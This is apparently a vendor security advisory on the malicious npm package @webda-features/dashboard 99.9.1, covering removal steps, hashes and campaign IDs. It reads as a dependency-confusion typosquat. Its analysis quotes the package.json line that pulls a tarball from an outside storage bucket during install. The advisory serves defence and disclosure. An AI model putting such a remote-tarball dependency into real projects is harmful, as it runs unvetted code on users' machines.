Which versions of @webda-features/dashboard are malicious?

The following npm versions of @webda-features/dashboard are flagged malicious: 99.9.1. Treat any of these as compromised.

How do I remediate @webda-features/dashboard if I installed it?

@webda-features/dashboard is a typosquat — you almost certainly intended a legitimately-named package. Remove @webda-features/dashboard, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed @webda-features/dashboard — how do I know if it already compromised me?

If @webda-features/dashboard was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is @webda-features/dashboard part of a known attack campaign?

Yes — @webda-features/dashboard is associated with the IN-MAL-2026-005050, IN-MAL-2026-005049 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @webda-features/dashboard across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @webda-features/dashboard (version 99.9.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @webda-features/dashboard across your stack and pipelines.

Malicious package

@webda-features/dashboardnpm

Malicious code in @webda-features/dashboard (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5432

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @webda-features/dashboard

What this malware does

The package is an empty wrapper (index.js contains only module.exports = {};) whose sole effect on install is to resolve a single dependency declared as a direct HTTPS tarball URL: "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-2.8.5.tgz" in package.json. npm fetches and installs that tarball during npm install, running whatever lifecycle scripts and module code it ships. The tarball is hosted on an arbitrary Google Cloud Storage bucket (ltidi.storage.googleapis.com/depenconf/) that is not tied to any verifiable publisher of the @webda ecosystem and lives outside the npm registry's audit surface, so the bytes installers receive can change at any time without a registry release. The package name @webda-features/dashboard mimics the legitimate @webda (Webda.io) scope, and the inflated version 99.9.1 is consistent with a dependency-confusion delivery vehicle aimed at private @webda-features/* resolutions.

Malicious versions

1 flagged

99.9.1

Indicators of compromise (SHA-256)

033436d8968591af02435a7f2552b3b9fc25131c8affa1f891e9c01067506baa

3698e6d2d9b93092104883c8f7e4ffcd602d31d3fd3ae2574850ea6ad15e8437

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @webda-features/dashboard (version 99.9.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @webda-features/dashboard across your stack and pipelines.
If you installed it — respond
@webda-features/dashboard is a typosquat — you almost certainly intended a legitimately-named package. Remove @webda-features/dashboard, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If @webda-features/dashboard was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @webda-features/dashboard before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @webda-features/dashboard on npm has been identified as a malicious package (version 99.9.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005050IN-MAL-2026-005049

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @webda-features/dashboard-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring